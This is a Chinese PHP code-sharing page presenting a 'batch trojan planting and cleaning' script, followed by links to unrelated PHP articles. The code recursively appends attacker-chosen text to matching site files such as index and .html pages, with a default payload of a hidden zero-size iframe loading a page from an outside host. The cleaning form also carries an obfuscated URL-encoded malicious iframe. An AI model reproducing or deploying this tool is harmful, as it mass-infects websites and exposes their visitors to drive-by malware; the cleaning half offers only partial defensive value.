php下批量挂马和批量清马代码

 更新时间:2011年02月27日 01:49:24   作者:  
批量挂马和批量清马程序PHP版,所以黑客工具的对立性,在黑客手里是破坏工具,在维护的站长来说是修正工具。
复制代码 代码如下:

<?php
function gmfun($path=”.”)
{
$d = @dir($path);
while(false !== ($v = $d->read())) {
if($v == “.” || $v == “..”) continue;
$file = $d->path.”/”.$v;
if(@is_dir($file)) {
gmfun($file);
} else {
if(@ereg(stripslashes($_POST["key"]),$file)) {
$mm=stripcslashes( trim( $_POST[mm] ) );
$handle = @fopen (”$file”, “a”);
@fwrite($handle, “$mm”);
@fclose($handle);
echo “已挂马文件:$file\n<br>”;

}
}
}
$d->close();
echo ” “;
}
function qmfun($path=”.”)
{
$d = @dir($path);
while(false !== ($v = $d->read())) {
if($v == “.” || $v == “..”) continue;
$file = $d->path.”/”.$v;
if(@is_dir($file)) {
qmfun($file);
} else {
if(@ereg(stripslashes($_POST["key"]),$file)) {
$mm=stripcslashes( trim( $_POST[mm] ) );
$handle = fopen (”$file”, “rb”);
$oldcontent=fread($handle,filesize($file));
fclose($handle);
$newcontent=str_replace($mm,””,$oldcontent);
$fw = fopen (”$file”, “wb”);
fwrite($fw,$newcontent,strlen($newcontent));
fclose($fw);
echo “已清马文件:$file\n<br>”;

}
}
}
$d->close();
echo ” “;
}

if ($_GET['action']=='gm') {
set_time_limit(0);
gmfun($_POST["dir"]);
}
if ($_GET['action']=='qm') {
set_time_limit(0);
qmfun($_POST["dir"]);
}
?>
<title>批量挂马(清马)程序php版</title><body>
<form action=”<?$PHP_SELF?>?action=gm” method=”post”>
<table border=”0″ align=”center” cellpadding=”0″ cellspacing=”0″>
<tr>
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”><font color=”#00FF00″ size=”4″>网站批量挂马程序php版
BY n3tl04d</font></div>
<td> </tr>
<tr>
<td height=”27″ bgcolor=”#CCCCCC”>路径:</td>
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”dir” type=”text” value=”.”>(可填相对路径)
<td> </tr>
<tr>
<td height=”27″ bgcolor=”#CCCCCC”>挂马关键字:</td>
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”key” type=”text” value='index\.|default\.|main\.|\.html'>—–正则表达式匹配——
<td colspan=”2″ height=”1″></td>
<td> </tr>
<tr>
<td height=”25″ bgcolor=”#CCCCCC”>想写入的挂马代码:</td>
<td height=”25″ bgcolor=”#CCCCCC”><input name=”mm” type=”text” size=”50″ value='<iframe src=http://982.9966.org/b073399/b07.htm width=0 height=0 frameborder=0></iframe>'>
<td> </tr>
<tr>
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”>
<input type=”submit” name=”Submit” value=”提交”>
&nbsp;&nbsp;
<input type=”reset” name=”Submit2″ value=”重置”>
</div></td>
<td> </tr>
</table>
</form>
<form action=”<?$PHP_SELF?>?action=qm” method=”post”>
<table border=”0″ align=”center” cellpadding=”0″ cellspacing=”0″>
<tr>
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”><font color=”#00FF00″ size=”4″>批量清马工具php版
BY 随风而去(LST)</font></div>
<td> </tr>
<tr>
<td height=”27″ bgcolor=”#CCCCCC”>路径:</td>
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”dir” type=”text” value=”.”>(可填相对路径)
<td> </tr>
<tr>
<td height=”27″ bgcolor=”#CCCCCC”>清马关键字:</td>
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”key” type=”text” value='index\.|default\.|main\.|\.html'>—–正则表达式匹配——
<td colspan=”2″ height=”1″></td>
<td> </tr>
<tr>
<td height=”25″ bgcolor=”#CCCCCC”>想清除的挂马代码:</td>
<td height=”25″ bgcolor=”#CCCCCC”><input name=”mm” type=”text” size=”50″ value='<iframe src=http://%31%73%61%6e%69%32%6b%6d%2e%63%6e/%6A%6A%32.htm width=50 height=0 frameborder=0></iframe>'>
<td> </tr>
<tr>
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”>
<input type=”submit” name=”Submit” value=”提交”>
&nbsp;&nbsp;
<input type=”reset” name=”Submit2″ value=”重置”>
</div></td>
<td> </tr>
</table>
</form>

相关文章

  • PHP内置的Math函数效率测试

    PHP内置的Math函数效率测试

    这篇文章主要介绍了PHP内置的Math函数效率测试,以实例形式测试了相关的PHP内置数学运算函数的执行时间,分析其运行效率,需要的朋友可以参考下
    2014-12-12
  • PHP实现数组的笛卡尔积运算示例

    PHP实现数组的笛卡尔积运算示例

    这篇文章主要介绍了PHP实现数组的笛卡尔积运算,结合实例形式分析了php数组的笛卡尔积运算相关实现与使用技巧,需要的朋友可以参考下
    2017-12-12
  • PHP中时间处理类Carbon的用法详解

    PHP中时间处理类Carbon的用法详解

    Carbon 是php的日期处理类库(A simple PHP API extension for DateTime.),继承了PHP的 Datetime 类。本文将详细讲解一下该类的使用,需要的可以参考一下
    2022-05-05
  • php学习之function的用法

    php学习之function的用法

    用户自定义函数也称自定义函数,它们不是PHP提供的,是由程序员创建的.由于自己创建了这样的函数,所以就可以完全控制这些函数.因此可以让一个函数完全按照自己希望的方式运行
    2012-07-07
  • PHP针对字符串开头和结尾的判断方法

    PHP针对字符串开头和结尾的判断方法

    这篇文章主要介绍了PHP针对字符串开头和结尾的判断方法,涉及php字符串操作的判断、截取、判断、比较等函数用法与注意事项,需要的朋友可以参考下
    2016-07-07
  • php5.2 Json不能正确处理中文、GB编码的解决方法

    php5.2 Json不能正确处理中文、GB编码的解决方法

    json_encode对中文的处理是有问题,不能处理GB编码,所有的GB编码都会替换成空字符,下面有个不错的解决方法,大家可以参考下
    2014-03-03
  • php获取本地图片文件并生成xml文件输出具体思路

    php获取本地图片文件并生成xml文件输出具体思路

    本文将详细介绍下php获取本地图片文件并生成xml文件输出,代码简单实用,感兴趣的朋友可以参考下哈,希望对你学习php有所帮助
    2013-04-04
  • php运用memcache的完整实例

    php运用memcache的完整实例

    这篇文章主要给大家介绍了关于php运用memcache的完整实例,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2021-01-01
  • php表单加入Token防止重复提交的方法分析

    php表单加入Token防止重复提交的方法分析

    这篇文章主要介绍了php表单加入Token防止重复提交的方法,结合实例形式分析了Token防止重复提交的原理与使用技巧,需要的朋友可以参考下
    2016-10-10
  • php版微信js-sdk支付接口类用法示例

    php版微信js-sdk支付接口类用法示例

    这篇文章主要介绍了php版微信js-sdk支付接口类用法,结合实例形式分析了php版微信js-sdk支付接口类的定义与相关使用技巧,需要的朋友可以参考下
    2016-10-10

最新评论